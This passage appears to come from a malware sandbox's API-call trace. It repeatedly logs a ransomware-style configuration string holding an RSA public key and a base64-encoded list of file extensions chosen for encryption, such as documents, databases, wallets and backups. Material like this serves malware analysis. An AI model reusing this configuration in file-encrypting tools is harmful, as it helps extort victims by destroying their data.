LmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXR